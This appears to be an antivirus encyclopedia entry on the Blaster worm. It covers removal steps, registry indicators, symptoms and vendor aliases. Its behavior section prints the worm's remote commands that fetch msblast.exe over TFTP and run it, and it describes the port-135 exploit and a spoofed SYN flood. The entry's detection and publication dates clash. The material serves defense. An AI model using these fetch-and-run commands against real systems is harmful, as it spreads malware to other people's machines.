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Worm:Win32/Msblast.A


Win32/Msblast.A is a network worm that can spread to a computer running Microsoft Windows 2000 or Windows XP that does not have Security Update MS03-026 or MS03-039 installed. It performs a denial of service (DoS) attack against windowsupdate.com if the day of the month is greater than 15 or the month is September or later.


What to do now

To manually recover from infection by Win32/Msblast.A, perform the following steps:
  • Disconnect from the Internet
  • End the worm process
  • Delete the worm files from your computer
  • Delete the worm registry entry
  • Restart your computer
  • Take steps to prevent re-infection

Disconnect from the Internet

To help ensure that your computer is not actively infecting other computers, disconnect it from the Internet before proceeding. Print this Web page or save a copy on your computer; then unplug your network cable and disable your wireless connection. You can reconnect to the Internet after completing these steps.

End the worm process

Ending the worm process will help stop your computer from infecting other computers as well as resolve the crashing, rebooting, and performance degradation issues caused by the worm.
To end the worm process
  1. Press CTRL+ALT+DEL once and click Task Manager.
  2. Click Processes and click Image Name to sort the running processes by name.
  3. Select the process msblast.exe, and click End Process.

Delete the worm files from your computer

After you end the worm process, you should delete the worm code from your computer.
To delete the worm files from your computer
  1. Click Start, and click Run.
  2. In the Open field, type %windir%\System32
  3. Click OK.
  4. Click Name to sort files by name.
  5. If msblast.exe is in the list, delete it.
  6. On the Desktop, right-click the Recycle Bin and click Empty Recycle Bin.
  7. Click Yes.
This removes the worm code from your computer.
If deleting files fails, use the following steps to verify that msblast.exe is not running:
  1. Press CTRL+ALT+DEL once and click Task Manager.
  2. Click Processes and click Image Name to sort the running processes by name.
  3. Confirm that msblast.exe is not in the list.

Delete the worm registry entry

To delete the worm registry entry
  1. On the Start menu, click Run.
  2. Type regedit and click OK.
  3. In the left pane, navigate to the key:
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    In the right pane, right-click the following value, if it exists:
    windows auto update
  4. Click Delete and click Yes to delete the value.
  5. Close the Registry Editor.

Restart your computer

To restart your computer
  1. On the Start menu, click Shut Down.
  2. Select Restart from the drop-down list and click OK.

Take steps to prevent re-infection

Do not reconnect your computer to the Internet until the computer is protected from re-infection. See the "Preventing Infection" section for more information.

Threat behavior

When Win32/Msblast.A runs, it takes the following actions:
  • Adds registry value: windows auto update
    containing data: msblast.exe
    to registry key: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
    This causes the worm to run automatically when the computer restarts.
  • Creates mutex BILLY. If this fails, the worm process terminates. If it succeeds, the worm takes the following actions:
    • Attempts to connect to IP addresses that it constructs.
    • Sends a 72-byte request followed by a 1704-byte request to TCP port 135. If the request is successful, the worm creates a thread to monitor UDP port 69.
    • Connects to TCP port 4444 at a target IP address and sends the command:
      tftp -i <infected-host IP address> get msblast.exe
    • Waits until one of the following conditions is satisfied:
      • The target computer successfully connects to the infected computer on UDP port 69 and downloads msblast.exe.
      • A preset timeout period expires.
    • Sends the following two commands through TCP port 4444 to each of the target computers that has received the tftp command:
      start msblast.exe
      msblast.exe
    • Attempts to send a 40-byte SYN flood to windowsupdate.com if the day of the month is greater than 15, or if the month is September or later. The SYN request has a spoofed source address.

Symptoms

Some customers whose computers have been infected may not notice the presence of the worm at all, while others who are not infected may experience problems because the worm is attempting to attack their computers. If your computer is infected, you may experience one or more of the following symptoms:
  • The presence of %windir%\System32\msblast.exe
  • The presence of registry value: windows auto update
    with data: msblast.exe
    is in registry key: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • The computer shuts down after displaying a dialog box similar to the following:
    System Shutdown

Prevention


Alert level: Severe
First detected by definition: 1.45.287.0
Latest detected by definition: 1.131.1058.0 and higher
First detected on: Oct 07, 2008
This entry was first published on: Nov 09, 2004
This entry was updated on: Mar 23, 2007

This threat is also detected as:
  • W32.Blaster.Worm (Symantec)
  • W32/Lovsan.worm.a (McAfee)
  • WORM_MSBLAST.A (Trend Micro)
  • Win32.Poza.A (CA)
  • Lovsan (F-secure)
  • Worm.Win32.Blaster.6176 (Global Hauri)
  • W32/Blaster.A (Norman)
  • Blaster (Panda)
  • W32/Blaster-A (Sophos)